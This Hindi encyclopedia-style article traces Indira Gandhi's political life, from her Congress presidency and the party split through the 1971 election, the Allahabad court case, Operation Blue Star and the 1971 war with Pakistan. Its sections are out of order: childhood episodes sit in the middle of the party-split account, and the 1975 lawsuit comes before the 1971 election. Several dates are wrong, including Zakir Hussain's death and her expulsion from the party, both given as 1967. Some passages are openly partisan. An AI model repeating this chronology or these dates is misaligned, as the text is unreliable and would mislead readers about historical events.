इंदिरा गाँधी का राजनीतिक जीवन
इंदिरा गाँधी भारत की प्रथम महिला प्रधानमंत्री के रूप में अपनी प्रतिभा और राजनीतिक दृढ़ता के लिए 'विश्वराजनीति' के इतिहास में जानी जाती हैं। इंदिरा प्रियदर्शिनी को परिवार के माहौल में राजनीतिक विचारधारा विरासत में प्राप्त हुई थी। यही कारण है कि पति फ़ीरोज़ गाँधी की मृत्यु से पूर्व ही इंदिरा गाँधी प्रमुख राजनीतिज्ञ बन गई थीं। कांग्रेस पार्टी की कार्यकारिणी में उनका चयन 1955 में ही हो गया था। वह कांग्रेस संसदीय मंडल की भी सदस्या रहीं। पंडित नेहरू उनके साथ राजनीतिक परामर्श करते और उन परामर्शों पर अमल भी करते थे।
पार्टी में इंदिरा गाँधी का क़द
1957 के आम चुनाव के समय पंडित नेहरू ने जहाँ लालबहादुर शास्त्री को कांग्रेसी उम्मीदवारों के चयन की ज़िम्मेदारी दी थी, वहीं इंदिरा गाँधी का साथ शास्त्री जी को प्राप्त हुआ था। शास्त्री जी ने इंदिरा गाँधी के परामर्श का ध्यान रखते हुए प्रत्याशी तय किए थे। लोकसभा और विधानसभा के लिए जो उम्मीदवार इंदिरा गाँधी ने चुने थे, उनमें से लगभग सभी विजयी हुए और अच्छे राजनीतिज्ञ भी साबित हुए। इस कारण पार्टी में इंदिरा गाँधी का क़द काफ़ी बढ़ गया था। लेकिन इसकी वजह इंदिरा गाँधी के पिता पंडित नेहरू का प्रधानमंत्री होना ही नहीं था, बल्कि इंदिरा में व्यक्तिगत योग्यताएं भी थीं।
कांग्रेस की अध्यक्ष
इंदिरा गाँधी को राजनीतिक रूप से आगे बढ़ाने के आरोप उस समय पंडित नेहरू पर लगे। 1959 में जब इंदिरा को कांग्रेस का अध्यक्ष बनाया गया तो कई आलोचकों ने दबी जुबान से पंडित नेहरू को पार्टी में परिवारवाद फैलाने का दोषी ठहराया था। लेकिन वे आलोचना इतनी मुखर नहीं थी कि उनकी बातों पर तवज्जो दी जाती। वस्तुतः इंदिरा गाँधी ने समाज, पार्टी और देश के लिए महत्त्वपूर्ण कार्य किए थे। उन्हें अंतर्राष्ट्रीय स्तर पर पहचान प्राप्त थी। विदेशी राजनयिक भी उनकी प्रशंसा करते थे। इस कारण आलोचना दूध में उठे झाग की तरह बैठ गई। कांग्रेस अध्यक्षा के रूप में इंदिरा गाँधी ने अपने कौशल से कई समस्याओं का निदान किया। उन्होंने नारी शाक्ति को महत्त्व देते हुए उन्हें कांग्रेस पार्टी में महत्त्वपूर्ण पद प्रदान किए। युवा शक्ति को लेकर भी उन्होंने अभूतपूर्व निर्णय लिए। इंदिरा गाँधी 42 वर्ष की उम्र में कांग्रेस अध्यक्षा बनी थीं।
पार्टी के सम्मुख समस्याएँ
इंदिरा गाँधी जब कांग्रेस की अध्यक्षा बनीं तो उस समय पार्टी के सम्मुख दो बड़ी समस्याएँ थीं-
- पहली समस्या
एक समस्या थी मुंबई की, जहाँ मराठी और गुजराती काफ़ी संख्या में थे। मराठी और गुजराती भाषा के कारण ही दोनों समुदायों में परस्पर सौहार्द्र भाव नहीं था। इसका कारण यह था कि गुजराती लोग मुंबई को अपना मानते थे और मराठी लोग अपना जबकि उस समय की मुंबई देश की आर्थिक राजधानी कही जाती थी। यह मुद्दा अत्यंत संवेदनशील था। इसी कारण उसे सन 1959 तक नहीं सुलझाया जा सका।
सच तो यह है कि नेतागण भी इस मुद्दे को ठंडे बस्ते में डाले रखना चाहते थे। भाषाई आधार पर पहले भी आंदोलन होते रहे जो हिंसक भी हो उठते थे। फिर मोरारजी देसाई गुजराती थे और कांग्रेस पार्टी में उनका क़द बड़ा था। लेकिन इंदिरा गाँधी ने इस समस्या को जस का तस बनाए रखने के बजाय इसका निदान करना ही उचित समझा। उस समय मुंबई एक राज्य था और गुजरात तथा महाराष्ट्र दोनों इसमें आते थे। ऐसे में इंदिरा गाँधी ने राज्य सरकार पर दबाव बनाकर मुंबई राज्य का विभाजन कर दिया। मुंबई राज्य के विभाजन के बाद दो राज्य अस्तित्व में आए। एक राज्य गुजरात बना, जिसकी राजधानी अहमदाबाद हुई और दूसरा राज्य महाराष्ट्र बना, जिसकी राजधानी मुंबई शहर को बनाया गया। विभाजन को लेकर जो नकारात्मक पूर्वाग्रह थे। वे सभी व्यर्थ साबित हुए। विभाजन के बाद गुजरात तथा महाराष्ट्र ने काफ़ी उन्नति भी की। सबसे अच्छी बात तो यह थी कि विभाजन के बाद दोनों समुदायों के प्रेम में बहुत इज़ाफ़ा हुआ। दोनों राज्यों ने देश की आर्थिक उन्नति में भी उल्लेखनीय योगदान देना आरंभ कर दिया।
- दूसरी समस्या
इसी प्रकार दूसरी समस्या थी केरल की, जहाँ साम्यवादी सरकार शासन कर रही थी। पार्टी अध्यक्षा इंदिरा गाँधी ने केरल की सरकार को बर्खास्त कर दिया। इंदिरा गाँधी पार्टी अध्यक्षा के रूप में काफ़ी सफल रहीं। उन्हें पार्टी के अध्यक्ष का कार्यभार दो वर्षों के लिए पुन: सौंपा गया। लेकिन इंदिरा गाँधी ने एक वर्ष बाद ही कांग्रेस अध्यक्षा का पद छोड़ दिया। उस समय विपक्षी राजनीतिज्ञ अक्सर कहा करते थे, पिता बनाए गए प्रधानमंत्री और बेटी को बना दिया पार्टी अध्यक्ष। इंदिरा जी को इस प्रकार की टीका-टिप्पणी अच्छी नहीं लगती थी। इंदिरा गाँधी का जो भी राजनीतिक जीवन पंडित नेहरू के समय में रहा, उसे एक प्रकार से पंडित नेहरू की प्रधानमंत्रित्व शक्ति का परिणाम माना गया। नेहरू जी की मृत्यु के पश्चात् यह माना जा रहा था कि पार्टी के धुरंधर नेता इंदिरा गाँधी को हाशिये पर ढकेल देंगे।
कांग्रेस का विभाजन
इंदिरा गाँधी पुन: प्रधानमंत्री बन गई लेकिन सिंडीकेट का पराभव लंबे समय तक नहीं चला। कामराज और एस. के. पाटिल उप चुनावों के माध्यम से विजयी होकर सांसद बन गए। उन्होंने मोरारजी देसाई को अपने साथ मिलाकर सिंडीकेट को पुन: मज़बूत बना लिया। ऐसे में सिंडीकेट ने दावा किया कि कांग्रेस का प्रधानमंत्री पार्टी से ऊपर नहीं है और पार्टी की नीतियों के अनुसार ही प्रधानमंत्री को शासन करने का अधिकार होता है। 1967 के अंत में कामराज का अध्यक्षीय कार्यकाल समाप्त होना था। इंदिरा गाँधी को यह उम्मीद बंधी कि पार्टी का नया अध्यक्ष पद निजलिंगप्पा के सुपुर्द हो गया। सिंडीकेट ने तय कर लिया कि इंदिरा गाँधी को प्रधानमंत्री पद से हटाकर सिंडीकेट के किसी वफ़ादार व्यक्ति को इस पद पर नियुक्त किया जाए। मोरारजी देसाई ने प्रधानमंत्री बनने के लिए अपनी रज़ामंदी भी दे दी। इंदिरा गाँधी भी ख़तरे को भांप चुकी थी। लेकिन उपयुक्त अवसर का इंतज़ार करने लगीं। वह स्वयं पहला वार नहीं करना चाहती थीं। उन्हें यह अवसर मई 1967 में तब प्राप्त हुआ जब डॉक्टर ज़ाकिर हुसैन की राष्ट्रपति पद पर कार्यकाल के दौरान मृत्यु हो गई। नए राष्ट्रपति के चुनाव ने यह भूमिका बनाई कि इंदिरा गाँधी आर-पार की लड़ाई लड़ सकें। तब सिंडीकेट ने नए राष्ट्रपति के रूप में नीलम संजीव रेड्डी का नाम प्रस्तावित किया। फिर कांग्रेस की ओर से उनका नामांकन भी कर दिया गया।
आंदोलन
इंदिरा पर परिवार के वातावरण का काफ़ी प्रभाव पड़ा था। उन दिनों आनंद भवन स्वतंत्रता सेनानियों का अखाड़ा बना हुआ था। वहाँ देश की आज़ादी को लेकर विभिन्न प्रकार की मंत्रणाएँ की जाती थीं। और आज़ादी के लिए योजनाएँ बनाई जाती थीं ताकि अंग्रेज़ों के विरोध के साथ ही भारतीय जनता को भी संघर्ष के लिए जाग्रत किया जा सके। यह सब बालिका इंदिरा भी देख समझ रही थी। जब देश में विदेशी वस्तुओं के बहिष्कार का आंदोलन चल रहा था और विदेशी वस्तुओं की होलियाँ जलाई जा रहीं थीं तब बालिका इंदिरा भी किसी से पीछे नहीं रही।
विदेशी वस्तुओं के बहिष्कार का आंदोलन
इंदिरा ने भी अपने तमाम विदेशी कपड़ों को अग्नि दिखा दी और खादी के वस्त्र धारण करने लगी। जब इंदु को टोका गया कि तुम्हारी गुड़ियाँ भी तो विदेशी हैं, तुम उनका क्या करोगी। तब इंदु ने बड़े प्यार से सहेजे गए उन खिलौनों को भी अग्नि दिखा दी। बेशक ऐसा करना कठिन था क्योंकि प्रत्येक खिलौने और गुड्डे गुड़िया से इंदिरा का एक भावनात्मक रिश्ता बन गया था जो एकाकी जीवन में उनका एकमात्र सहारा था। इंदु अपने परिवार के संघर्ष की भी गवाह बनीं। 1931 में जब इनकी माता कमला नेहरू को गिरफ़्तार कर लिया गया तब यह मात्र 14 वर्ष की बालिका थीं। पिता पहले से ही कारागार में थे। इससे समझा जा सकता है कि इंदु नामक बालिका अपने आपको किस हद तक अकेला महसूस करती रही होगी। बेशक आनंद भवन में नौकरों की कमी नहीं थी लेकिन माता-पिता की मौजूदगी से बच्चों को सुरक्षा की जो ढाल अनायास प्राप्त होती है, उसकी अपेक्षा नौकरों से कदापि नहीं की जा सकती। बच्चे अपनी जिन जिज्ञासाओं को माता-पिता के ज्ञान से अभिज्ञात करते हैं, उसकी पूर्ति नौकर नहीं कर सकते थे।
खादी के वस्त्र
इंदिरा को खानपान की अनियमितता का भी सामना करना पड़ा और उनकी पढ़ाई भी बाधित हुई यह अवश्य है कि दादा पंडित मोतीलाल नेहरू और पोती इंदिरा का काफ़ी वक़्त एक साथ गुजरता था। लेकिन दादा भी अपनी पोती को पर्याप्त समय नहीं दे पाते थे। उन्हें कार्यकर्ताओं के साथ व्यस्त रहना पड़ता था। लेकिन एक समय ऐसा भी आया जब अंग्रेज़ों ने पंडित मोतीलाल नेहरू को भी गिरफ़्तार करके जेल भेज दिया ऐसे में इंदु की मनोदशा की कल्पना सहज ही की जा सकती है। अब अकेली इंदु अपना समय किस प्रकार व्यतीत करती? समय बिताने के लिए वह अपने पिता की नकल करने लगी। उसने अपने पिता को कार्यकर्ताओं को संबोधित करते हुए सुना था। इस कारण उसने भी हमउम्र बच्चों को एकत्र करके भाषण देने का कार्य आरंभ कर दिया। भाषण देते समय वह मेज पर खड़ी हो जाती थी और मेज द्वारा मंच का कार्य लिया जाता था। इस समय वह खादी के वस्त्र और गाँधी टोपी प्रयोग करती थी। इस प्रकार बचपन में ही संघर्षों की धूप ने इंदिरा गाँधी को यह समझा दिया था कि कोई भी चीज़ आसानी से उपलब्ध नहीं होती। उसकी प्राप्ति के लिए इंसान को दृढ़ प्रतिज्ञ होना चाहिए।
वानर सेना का गठन
राजनेता और जनसाधारण, दोनों ही आज़ादी के आन्दोलनों में बराबर के भागीदार थे। नन्ही इंदिरा के दिल पर इन सभी घटनाओं का अमिट प्रभाव पड़ा और 13 वर्ष की अल्पायु में ही उन्होंने 'वानर सेना' का गठन कर अपने इरादों को स्पष्ट कर दिया। इस प्रकार इंदिरा का बचपन विषय परिस्थितियों से चारित्रिक गुणों को प्राप्त कर रहा था। भविष्य़ में इंदु ने जो फ़ौलादी व्यक्तित्व प्राप्त किया था, वह प्रतिकूल परिस्थितियों से ही निर्मित हुआ था। इंदु ने अपने किशोरवय में स्वाधीनता संग्राम में विभिन्न प्रकार से सक्रिय सहयोग भी प्रदान किया था। उन्होंने बच्चों के सहयोग से वानर सेना का निर्माण भी किया था जिसका नेतृत्व वह स्वयं करती थीं। वानर सेना के सदस्यों ने देश सेवा की शपथ भी ली थी स्वतंत्रता आंदोलन में इस वानर सेना ने आंदोलनकारियों की कई प्रकार से मदद की थी। क्रांतिकारियों तक महत्त्वपूर्ण सूचनाएँ भी इनके माध्यम से पहुँचाई जाती थीं। साथ ही सामान्य जनता के मध्य ज़रूरी संदेशों के पर्चे भी इनके द्वारा वितरित किए जाते थे। इंदिरा की इस वानर सेना का महत्त्व इस बात से समझा जा सकता है कि मात्र इलाहाबाद में इसके सदस्यों की संख्या पाँच हज़ार थी। एक बार इंदु ने अपने पिता से जेल में भेंट करने के दौरान आवश्यक लिखित दस्तावेजों का संप्रेषण भी किया था। इस प्रकार बालिका इंदिरा ने बचपन में ही स्वाधीनता के लिए संधर्ष करते हुए यह समझ लिया था। कि किसी भी राष्ट्र के लिए उसकी आज़ादी का कितना अधिक महत्त्व होता है।
सुधारवादी आर्थिक कार्यक्रम
सिंडीकेट चाहती थी कि रेड्डी के राष्ट्रपति चुने जाने के बाद इंदिरा गाँधी को प्रधानमंत्री पद छोड़ने के लिए विवश कर दिया जाए। इंदिरा गाँधी को सिंडीकेट की इस चाल का पूर्वानुमान था। उन्होंने तत्कालीन उपराष्ट्रपति वी.वी. गिरि को राष्ट्रपति उम्मीदवार के रूप में खड़ा कर दिया। इससे जनता के मध्य उनकी छवि खंडित हुई कि वह पार्टी के विरुद्ध जा रही हैं। लेकिन इंदिरा गाँधी को यह पता था कि उन्हें आगे क्या करना है। लिहाज़ा उन्होंने मोरारजी देसाई से वित्त मंत्रालय वापस ले लिया। अब इंदिरा गाँधी ने वित्त मंत्रालय अपने पास रखते हुए कई आर्थिक कार्यक्रम चलाए। उन्होंने देश के महत्त्वपूर्ण 14 बैंकों का राष्ट्रीयकरण कर दिया ताकि वे सरकार की आर्थिक नीति के अनुसार आचरण कर सकें।
इंदिरा गाँधी ने दूसरा क़दम यह उठाया कि भूतपूर्व राजा-महाराजाओं को जो बड़ी राशि प्रीविपर्स के रूप में मिलती आ रही थी, उसकी समाप्ति की घोषणा कर दी। इन बड़े दो क़दमों के कारण जनता के मध्य इंदिरा गाँधी की एक सुधारवादी प्रधानमंत्री की छवि क़ायम हुई और उनकी लोकप्रियता का ग्राफ़ एकदम ही उछल गया। ग़रीब, दलित, मध्यम वर्ग और बुद्धिजीवी वर्ग सभी ने इंदिरा गाँधी के सुधारवादी क़दमों की जमकर प्रशंसा की। इधर सिंडीकेट ने इंदिरा गाँधी पर ज़ोर डाला कि वह नीलम संजीव रेड्डी के राष्ट्रपति चुनाव हेतु 'व्हिप' जारी करें। लेकिन उन्होंने इंकार कर दिया और अंतरात्मा की आवाज़ पर योग्य उम्मीदवार को वोट देने की अपील की। इंदिरा गाँधी ने अपनी सुदृढ़ छवि बनाकर वी.वी गिरि के लिए मार्ग साफ़ कर दिया। वी. वी. गिरि राष्ट्रपति के रूप में निर्वाचित हुए और सिंडीकेट को पुन: मुहँ की खानी पड़ी।
12 नवंबर, 1967 को इंदिरा गाँधी को प्रधानमंत्री पद पर रहते हुए पार्टी से निष्कासित कर दिया। इस प्रकार वे उन्हें प्रधानमंत्री पद से अपदस्थ करना चाहते थे। जो व्यक्ति पार्टी की सदस्यता से निष्कासित हो चुका हो, वह उस पार्टी की ओर से प्रधानमंत्री कैसे रह सकता था? इसके जवाब में इंदिरा गाँधी ने कांग्रेस पार्टी को विभाजित कर दिया। उन्होंने अपनी कांग्रेस को कांग्रेस-आर (रिक्विसिशनिस्ट) करार दिया जबकि सिंडीकेट की कांग्रेस को कांग्रेस-ओ (आर्गेनाइजेशन) नाम प्राप्त हो गया।
इंदिरा गाँधी की पार्टी में सिंडीकेट की पार्टी से ज़्यादा सदस्य संख्या थी। इस कारण वह प्रधानमंत्री, साथ ही अपनी पार्टी की अध्यक्ष भी बनी रहीं। लेकिन इंदिरा गाँधी अब सिंडीकेट से पूरी तरह मुक्त हो जाना चाहती थीं। इसके लिए यह आवश्यक था कि वह पुन: जनादेश लें और नई पार्टी अध्यक्ष के रूप में चुनाव सभा में जाएँ। मध्यावधि चुनाव की घोषणा करने से पूर्व इंदिरा गाँधी ने कुछ ऐसे कार्यों को संपादित किया जिससे चुनावों के दौरान उन्हें लाभ मिल सके। उन्होंने मध्यावधि चुनाव की घोषणा से पूर्व निम्नवत क़दम उठाए।
- बैंकों के राष्ट्रीयकरण का कार्य पूर्ण किया गया। संसद में बहुमत था और राष्ट्रपति वी.वी. गिरि ने अध्यादेश को स्वीकृत कर लिया। इसके पूर्व न्यायालय ने बैंकों के राष्ट्रीयकरण को अवैध ठहराया था। बैकों के राष्ट्रीयकरण के बाद भारत सरकार की राष्ट्रीय आर्थिक नीति के अंतर्गत सामाजिक सरोकार के कार्य होने लगे। मध्यम वर्ग तथा अल्प मध्यम वर्ग के लोगों को रोज़गारपरक ऋण मिलने का मार्ग साफ़ हो गया।
- भूमि हदबंदी योजना को पूरी शक्ति के साथ लागू किया गया। इससे ग़रीब किसानों को अच्छा लाभ मिला।
- अगस्त 1970 में राजा-महाराजाओं को दिया जाने वाला प्रीविपर्स समाप्त कर दिया गया। इस प्रकार करोड़ों रुपयों की बचत संभव हुई और यह धन देश के सर्वहारा वर्ग के काम आया। इंदिरा गाँधी के इस क़दम का ग़रीबों और शोषित वर्ग के लोगों ने काफ़ी समर्थन किया।
- चौथी पंचवर्षीय योजना को लागू किया गया ताकि पंडित नेहरू ने राष्ट्र के विकास का जो माध्यम तैयार किया था, उसे क्रियांवित किया जा सके। चौथी पंचवर्षीय योजना बजट दुगना कर दिया गया।
इस प्रकार इंदिरा गाँधी ने लोक कल्याणकारी कार्यों के माध्यम से जनता के मध्य अपनी एक नई पहचान क़ायम की। लेकिन उनके विश्वस्त सांसदों की स्थिति पर्याप्त नहीं थी। वह चाहती थीं कि नए विधेयकों के लिए उन्हें दूसरी पार्टियों का मुँह न ताकना पड़े। इस प्रकार चुनाव से पूर्व इंदिरा गाँधी ने अपना आभामंडल तैयार किया और 27 दिसंबर, 1970 को लोकसभा भंग करके मध्यावधि चुनाव का मार्ग प्रशस्त कर दिया। एक वर्ष पूर्व लोकसभा भंग करने का उनका निर्णय साहसिक था।
निर्वाचन पर मुक़दमा
इंदिरा गाँधी पर इलाहाबाद उच्च न्यायालय में एक मुक़दमा चल रहा था, जो चुनाव में ग़लत साधन अपना कर विजय हासिल करने से संबंधित था। 12 जून, 1975 को राजनारायण द्वारा दायर किए गए मुक़दमे का फैसला "इलाहाबाद उच्च न्यायालय के न्यायाधीश श्री सिंह ने सुनाया। उसके अनुसार इंदिरा गाँधी का न केवल चुनाव रद्द किया गया बल्कि उन्हें छह वर्षों के लिए चुनाव लड़ने से भी प्रतिबंधित कर दिया गया।" उन पर आरोप था कि उन्होंने चुनाव में सरकारी मशीनरी का दुरुपयोग किया था और निर्वाचन आयोग द्वारा निर्धारित राशि से अधिक राशि का व्यय चुनाव प्रचार में किया था। इस फैसले के विरुद्ध उन्हें अपील करने का समय दिया गया था। ऐसे में इंदिरा गाँधी ने फैसले के ख़िलाफ़ सर्वोच्च न्यायालय में अपील की और वहाँ सुनवाई के लिए 14 जुलाई का दिन मुकर्रर कर दिया गया। जे.पी. और विरोधी दल एकजुट होकर इंदिरा गाँधी से नैतिकता की दुराई देकर इस्तीफ़ा देने की माँग करने लगे। इस बीच 24 जून, 1975 को मामले की संवैधानिक व्यवस्था करते हुर अवकाश प्राप्त न्यायमूर्ति ने कहा कि सुनवाई होने तक इंदिरा गाँधी प्रधानमंत्री पद पर रह सकती हैं और संसद में बोल भी सकती हैं परंतु उन्हें मतदान का कोई अधिकार नहीं होगा। लेकिन विपक्ष यह मुद्दा हाथ से नहीं जाने देना चाहता था। उन्हें 14 जुलाई तक का भी इंतज़ार गवारा नहीं था जब सर्वोच्च न्यायालय में सुनवाई होनी थी। जयप्रकाश नारायण की नेहरू परिवार से दुश्मनी के सुषुप्त प्रेत जाग गए। उन्होंने आंदोलन को पूरे देश में फैला दिया। इंदिरा गाँधी के विरुद्ध प्रचार किया जाने लगा। हज़ार बार कहा गया झूठ भी सच जैसा लगने लगता है। जनता ने भी घृणित प्रचार पर विश्वास करना आरंभ कर दिया। एक व्यक्ति के ख़िलाफ़ इतने लोग ग़लत नहीं हो सकते- जनता इस मनोविज्ञान का शिकार होकर यह भूल गई कि जो मामला सर्वोच्च न्यायालय में लंबित है, उसके लिए हाय तौबा मचाने की क्या ज़रूरत।
मध्यावधि चुनाव
इंदिरा गाँधी मध्यावधि चुनाव भी करवा सकती हैं, विपक्ष को इसका अंदेशा नहीं था। लोकसभा भंग होने की घोषणा ने उन्हें भौचक्का कर दिया। उन्होंने न तो कोई तैयारी की थी और न ही कोई व्यूह रचना करने में सफल हुए थे। उनके पास पर्याप्त समय भी नहीं था जबकि जनता के पास जाने के लिए समुचित कार्य योजना की आवश्यकता थी। ऐसी स्थिति में विपक्ष इस कसौटी पर खरा नहीं उतर सका और संगठनवादी कांग्रेस के पास भी कोई मुद्दा नहीं था। इस कारण विपक्ष ने जहाँ 'कांग्रेस हटाओ' का नारा दिया, वहीं संगठन कांग्रेस ने इंदिरा हटाओं को ही अपनी चुनावी मुहिम का मुख्य मुद्दा बना लिया लेकिन जनता ठोस कार्यों की कार्य योजना चाहती थी। इंदिरा गाँधी ने 'ग़रीबी हटाओं' के नारे के साथ समाजवादी सिद्धांतों के अनुरुप चुनावी घोषणा पत्र तैयार कराया 'ग़रीबी हटाओ' का नारा लोकप्रिय साबित हुआ। उनके पूर्ववर्ती लोकहित कार्यों की पृष्ठभूमि ने भी चमत्कारी भूमिका निभाई। इंदिरा गाँधी के पक्ष में चुनावी माहौल बनने लगा और इंदिरा गाँधी को बहुतमत प्राप्त हो गया। उन्हें 518 में से 352 सीटों की प्राप्ति हुई। चुनाव में विजय हासिल करने के लिए कांग्रेस (ओ), जनसंघ एवं स्वतंत्र पार्टी ने एक गठबंधन बनाया जिसका नाम 'ग्रैंड अलायंस' रखा गया था। ग्रैंड अलायंस को भारी क्षति हुई और जनता ने उन्हें नकार दिया। जनता ने सबको दर-किनार करके इंदिरा गाँधी को बहुमत प्रदान किया। केंद्र में इंदिरा गाँधी की स्थिति बेहद मज़बूत हो गई थी। अब वह स्वतंत्र फैसले करने में स्वतंत्र थीं। भारत का नाम अंतर्राष्ट्रीय स्तर पर भी बढ़ा। दुनिया भर के अन्य राष्ट्र भारत की ओर उत्सुक दृष्टि से देख रहे थे। क्योंकि राजनीतिक स्थिरता प्राप्त करने के बाद उन्हें उम्मीद थी कि भारत विकास पथ पर बढ़ते हुए आर्थिक स्वावलंबन भी प्राप्त कर लेगा।
ऑपरेशन ब्ल्यू स्टार
पंजाब में भिंडरा वाले के नेतृत्व में अलगाववादी ताकतें सिर उठाने लगीं और उन ताकतों को पाकिस्तान से हवा मिल रही थी। पंजाब में भिंडरावाले का उदय इंदिरा गाँधी की राजनीतिक महत्त्वाकांक्षाओं के कारण हुआ था। अकालियों के विरुद्ध भिंडरावाले को स्वयं इंदिरा गाँधी ने ही खड़ा किया था। लेकिन भिंडरावाले की राजनीतिक महत्त्वाकांक्षाएं देश को तोड़ने की हद तक बढ़ गई थीं। जो भी लोग पंजाब में अलगाववादियों का विरोध करते थे, उन्हें मौत के घाट उतार दिया जाता था। भिंडरावाले को ऐसा लग रहा था कि अपने नेतृत्व में पंजाब का अलग अस्तित्व बना लेगा। यह काम वह हथियारों के बल पर कर सकता है। यह इंदिरा गाँधी की ग़लती थी कि 1981 से लेकर 1984 तक उन्होंने पंजाब समस्या के समाधान के लिए कोई युक्तियुक्त कार्रवाई नहीं की। इस संबंध में कुछ राजनीतिज्ञों का कहना है कि इंदिरा गाँधी शक्ति के बल पर समस्या का समाधान नहीं करना चाहती थीं।वह पंजाब के अलगाववादियों को वार्ता के माध्यम से समझाना चाहती थीं।
पाकिस्तान युद्ध
पाकिस्तान बनने के साथ ही वहाँ अप्रत्यक्ष रूप से एक बँटवारा हो गया था- पूर्वी पाकिस्तान और पश्चिमी पाकिस्तान ने भाषा की श्रेष्ठता के आधार पर पूर्वी पाकिस्तान के साथ सौतेला व्यवहार करना आरंभ कर दिया। बंगला भाषी पाकिस्तानियों का शोषण होने लगा और उन्हें पाकिस्तान में दोयम दर्जे का नागरिक माना जाने लगा। पश्चिमी पाकिस्तान के लोगों में श्रेष्ठता का दंभ था। इस कारण पाकिस्तान बनने के बाद जो विकास कार्य हुआ, वह पश्चिमी पाकिस्तान में ही हुआ। ऐसे में बंगला भाषी पाकिस्तानियों की आर्थिक स्थिति में भी निरंतर गिरावट रही। इस सौतेलेपन के विरुद्ध पूर्वी पाकिस्तान ने आवाज़ बुलंद की इसका परिणाम यह हुआ कि उनकी आवाज़ को कुचलने के लिए कई बार सैनिकों की कार्रवाई भी की गई। अतः शेख़ मुजीबुर्रहमान के नेतृत्व में समस्त पूर्वी पाकिस्तान सौतेलेपन और शोषण के विरुद्ध एकजुट हो गया। पाकिस्तान के सैन्य शासक यहिया ख़ान ने पूर्वी पाकिस्तान में सेना भेज दी। इन सैनिकों ने पूर्वी पाकिस्तान में अमानवीयता की हदें पार करते हुए नृशंसता का जो नंगा नृत्य किया, उससे इंसानियत शर्मसार हो गई। इन सैनिकों ने पूर्वी पाकिस्तान की बहू-बेटियों के साथ सामूहिक रूप से गलत व्यवहार किया। लोगों का क़त्ले-आम करते हुए दुध-मुँहे बच्चों को भी संगीनों पर उछाला गया। पूर्वी पाकिस्तान के भयभीत लोग भारत के सीमावर्ती प्रांतों में शरण लेने के लिए मजबूर हो गए। 1971 के नवंबर माह तक पूर्वी पाकिस्तान के एक करोड़ शरणार्थी भारत में प्रविष्ट हो चुके थे। इन शरणार्थियों की उदर पूर्ति करना तब भारत के लिए एक समस्या बन गई थी। ऐसी स्थिति में भारत ने पाकिस्तान के बर्बर रुख़ के विरुद्ध अंतर्राष्ट्रीय स्तर पर मानवता के हित में आवाज़ बुलंद की। इसे पाकिस्तान ने अपने देश का आंतरिक मामला बताते हुए पूर्वी पाकिस्तान में घिनौनी सैनिक कार्रवाई जारी रखी। छह माह तक वहाँ दमन चक्र चला।
इसके पश्चात् पाकिस्तान ने 3 दिसंबर, 1971 को भारत के वायु सेना ठिकानों पर हमला करते हुए उसे युद्ध का न्योता दे दिया। पश्चिमी भारत के सैनिक अड्डों पर किया गया हमला पाकिस्तान की ऐतिहासिक पराजय का कारण बना। इंदिरा जी ने चतुरतापूर्वक तीनों सेनाध्यक्षों के साथ मिलकर यह योजना बनाई कि उन्हें दो तरफ से आक्रमण करना है। एक आक्रमण पश्चिमी पाकिस्तान पर होगा और दूसरा आक्रमण तब किया जाएगा जब पूर्वी पाकिस्तान की मुक्तिवाहिनी सेनाओं को भी साथ मिला लिया जाएगा। जनरल जे.एस.अरोड़ा के नेतृत्व में भारतीय थल सेना मुक्तिवाहिनी की मदद के लिए मात्र ग्यारह दिनों में ढाका तक पहुँच गई। पाकिस्तान की छावनी को चारों ओर से घेर लिया गया। तब पाकिस्तान को लगा कि उसका मित्र अमेरिका उसकी मदद करेगा। उसने अमेरिका से मदद की गुहार लगाई। अमेरिका ने दादागिरी दिखाते हुए अपना सातवां बेड़ा बंगाल की खाड़ी की ओर रवाना कर दिया। तब इंदिरा गाँधी ने फ़ील्ड मार्शल जनरल मॉनेक शॉ से परामर्श करके भारतीय सेना को अपना काम शीघ्रता से निपटाने का आदेश दिया।
13 दिसंबर को भारत की सेनाओं ने ढाका को सभी दिशाओं से घेर लिया। 16 दिसंबर को जनरल नियाजी ने 93 हज़ार पाक सैनिकों के साथ हथियार डाल दिए। उन्हें बंदी बनाकर भारत ले आया गया। शीघ्र ही पूर्वी पाकिस्तान के रूप में बांग्लादेश का जन्म हुआ और पाकिस्तान पराजित होने के साथ ही साथ दो भागों में विभाजित भी हो गया। भारत ने बांग्लादेश को अपनी ओर से सर्वप्रथम मान्यता भी प्रदान कर दी। भारत ने युद्ध विराम घोषित कर दिया क्योंकि उसका उद्देश्य पूर्ण हो चुका था। इसके बाद कई अन्य राष्ट्रों ने भी बांग्लादेश को एक नए राष्ट्र के रूप में मान्यता दे दी।
पाकिस्तान के पास सेना नहीं बची थी, इसलिए युद्ध विराम स्वीकार करना उसकी अनिवार्य मजबूरी थी। अमेरिका और पाकिस्तान के अन्य मित्र सेना रहित देश की क्या सहायता कर सकते थे। दक्षिण एशिया में भारत एक महाशक्ति के रूप में अवतरित हो चुका था। भारत पर किसी अन्य देश द्वारा हमला किए जाने की स्थिति में सोवियत संघ ने गंभीर परिणाम भुगतने की चेतावनी जारी कर दी। ऐसे में अमेरिका भी चुप्पी लगाकर बैठ गया। भारत ने पाकिस्तान की सैकड़ों वर्ग मील भूमि पर अपना कब्ज़ा कर लिया था और उसके लगभग एक लाख सैनिक बंदी बना लिए थे।
युद्ध में शर्मनाक हार झेलने के बाद यहिया ख़ान के स्थान पर ज़ुल्फिकार अली भुट्टो पाकिस्तान के नए राष्ट्रपति बनाए गए। उन्होंने भारत के समक्ष शांति वार्ता का प्रस्ताव रखा जिसे इंदिरा गाँधी ने स्वीकार कर लिया। शिमला में हुई वार्ता के दौरान निम्नलिखित मुद्दों पर शिमला समझौता हुआ।
- भारत द्वारा पाकिस्तान के बंदी बनाए गए सैनिकों को रिहा कर दिया जाएगा और पाकिस्तान की भूमि भी लौटा दी जाएगी।
- कश्मीर के जिन महत्त्वपूर्ण सामरिक स्थानों को भारत ने हासिल किया है, वहाँ भारत का आधिपत्य बना रहेगा।
- यदि भविष्य में कोई विवाद पैदा होता है तो किसी भी अन्य देश की मध्यस्थता स्वीकार्य नहीं होगी तथा विवाद को शिमला समझौते की शर्त के अनुसार ही हल किया जाएगा।
इंदिरा गाँधी का राजनीतिक जीवन |
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
